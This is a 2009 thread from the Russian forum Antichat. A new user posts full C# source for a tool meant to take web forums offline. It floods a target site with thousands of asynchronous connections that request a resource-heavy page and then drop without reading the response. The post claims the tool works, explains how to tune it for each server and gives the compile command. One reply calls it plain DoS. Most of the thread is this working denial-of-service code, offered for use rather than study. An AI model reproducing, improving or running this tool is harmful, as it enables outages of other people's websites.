Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
Возможная уязвимость apache из-за установленного форума |

16.04.2009, 18:06
|
|
Новичок
Регистрация: 16.04.2009
Сообщений: 2
Провел на форуме: 12379
Репутация:
13
|
|
Возможная уязвимость apache из-за установленного форума
Недавно была написана программа, позволяющая ложить в даун форумы. Идея такова - одновременная посылка запроса на получение странички, требующей больших затрат по ресурсам для веб-сервера, после этого сокет закрывается, без приема данных. Один компьютер даже не с очень широким каналом может заставить сервер очень крепко задуматься - проверено. Единственное но - для каждого сервера нужно настраивать свои параметры максимального количества подключений и время повтора.
Прилагаю исходник на C#.
Код:
using System;
using System.Net;
using System.Net.Sockets;
using System.Threading;
namespace ConsoleApplication1 {
class Program {
private const int max = 10000;
private const int tm = 120000;
private static int cnt = 0;
private static int run = 0;
private static int con = 0;
private static int sent = 0;
static int i=0;
static string site = "www.site.xxx";
static string s = "GET http://" + site + "/index.php HTTP/1.1\r\nHost:" + site + "\r\nUser-Agent:Opera 0.0";
static string s2 = "\r\nConnection:Keep-Alive\r\n\r\n";
public static void StartClient(object s) {
try {
IPAddress ipAddress = Dns.GetHostAddresses(site)[0];
IPEndPoint remoteEP = new IPEndPoint(ipAddress, 80);
DateTime st = DateTime.Now;
Socket[] sender = new Socket[max];
for (int i = 0; i < max; i++) {
sender[i] = new Socket(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.Tcp);
}
for (int i = 0; i < max; i++) {
try {
run++;
sender[i].BeginConnect(remoteEP, new AsyncCallback(conncb), sender[i]);
} catch (ArgumentNullException ane) {
Console.WriteLine("ArgumentNullException : {0}", ane.ToString());
} catch (SocketException se) {
Console.WriteLine("SocketException : {0}", se.ToString());
} catch (Exception e) {
Console.WriteLine("Unexpected exception : {0}", e.ToString());
}
}
TimeSpan ts = DateTime.Now - st;
cnt++;
if (cnt % 1 == 0) {
Console.WriteLine(ts.TotalSeconds);
Console.WriteLine("R:{0} C:{1} S:{2}", run, con, sent);
}
} catch (Exception e) {
Console.WriteLine(e.ToString());
}
}
static void conncb(IAsyncResult ar) {
Socket client = (Socket)ar.AsyncState;
try {
client.EndConnect(ar);
con++;
byte[] b = System.Text.Encoding.ASCII.GetBytes(s + i.ToString() + s2);
i++;
client.BeginSend(b, 0, b.Length, 0, new AsyncCallback(sendcb), client);
} catch (Exception e) {
client.Close();
}
}
static void sendcb(IAsyncResult ar) {
Socket client = (Socket)ar.AsyncState;
try{
client.EndSend(ar);
sent++;
} catch (Exception e) {
}
client.Shutdown(SocketShutdown.Both);
client.Close();
}
static void Main(string[] args) {
object s = new object();
TimerCallback tc = new TimerCallback(StartClient);
Timer t = new Timer(tc, s, 0, tm);
Console.ReadKey();
}
}
}
Еще в данной программе не хватает отслеживания количества задействованных сокетов для оптимизации выполнения на компьютере (при длительном времени выполнения загрузка идет до 100%). Так что рассматривайте ее не как готовый вариант, а идею, которую можно использовать для доработки.
P.S. То, что программа написана на C# не имеет значения, ее можно адаптировать под любой язык и на любой уровень, требуются только асинхронные сокеты и все.
Удобства именно C# заключаются в том, что скомпилировать можно на любом компьютере с наличием установленной библиотеки Framework.NET
Для этого сохранить код в текстовый файл с названием например test.cs и запустить в командной строке следующее:
C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\csc. exe путь_к_файлу_test.cs /r:System.dll
На warning's внимания можно не обращать, программа все равно будет работать.
Последний раз редактировалось Snow_; 16.04.2009 в 18:24..
|
|
|

16.04.2009, 18:48
|
|
Постоянный
Регистрация: 30.08.2005
Сообщений: 730
Провел на форуме: 6828219
Репутация:
2274
|
|
Изобрёл велосипед
Это называется ДоС
|
|
|

16.04.2009, 18:59
|
|
Новичок
Регистрация: 16.04.2009
Сообщений: 2
Провел на форуме: 12379
Репутация:
13
|
|
не такой уж и Дос, и я - она. Больно не бейте.
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|